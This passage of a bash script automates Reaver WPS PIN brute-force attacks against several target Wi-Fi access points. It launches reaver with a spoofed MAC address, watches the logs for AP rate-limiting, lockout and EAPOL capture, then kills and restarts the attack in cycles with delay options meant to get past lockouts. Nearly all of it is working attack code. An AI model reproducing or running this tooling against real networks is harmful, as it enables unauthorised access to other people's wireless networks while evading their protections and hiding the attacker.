done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R12 == y || $USE_R12 == Y ]] && [[ $USE_LONG12 == n || $USE_LONG12 == N ]] && [[ $USE_PIN12 == y || $USE_PIN12 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX12" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY12"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -vv -x 60 -r $RX12:$RY12 --pin=$WPS_PIN12 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R12 == n || $USE_R12 == N ]] && [[ $USE_LONG12 == y || $USE_LONG12 == Y ]] && [[ $USE_PIN12 == y || $USE_PIN12 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN12 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R12 == y || $USE_R12 == Y ]] && [[ $USE_LONG12 == y || $USE_LONG12 == Y ]] && [[ $USE_PIN12 == y || $USE_PIN12 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME12"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL12"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP12"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX12" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY12"
echo -e "$info Reaver live time                   = $yel$LIVE12 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME12-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL12 -b $TARGETAP12 -r $RX12:$RY12 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN12 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME12-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE12-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME12-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME12-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME12-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP12 (ESSID: $NMEWARN12)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE12 == n ] || [ $KEEP_FILE12 == N ]; then

          rm VARMAC_LOGS/$NAME12-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R13 == n || $USE_R13 == N ]] && [[ $USE_LONG13 == n || $USE_LONG13 == N ]] && [[ $USE_PIN13 == n || $USE_PIN13 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME13-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP13 (ESSID: $NMEWARN13)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R13 == y || $USE_R13 == Y ]] && [[ $USE_LONG13 == n || $USE_LONG13 == N ]] && [[ $USE_PIN13 == n || $USE_PIN13 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME13"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL13"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP13"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX13" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY13"
echo -e "$info Reaver live time                   = $yel$LIVE13 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME13-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL13 -b $TARGETAP13 -vv -x 60 -r $RX13:$RY13 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME13-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE13-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME13-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME13-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME13-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

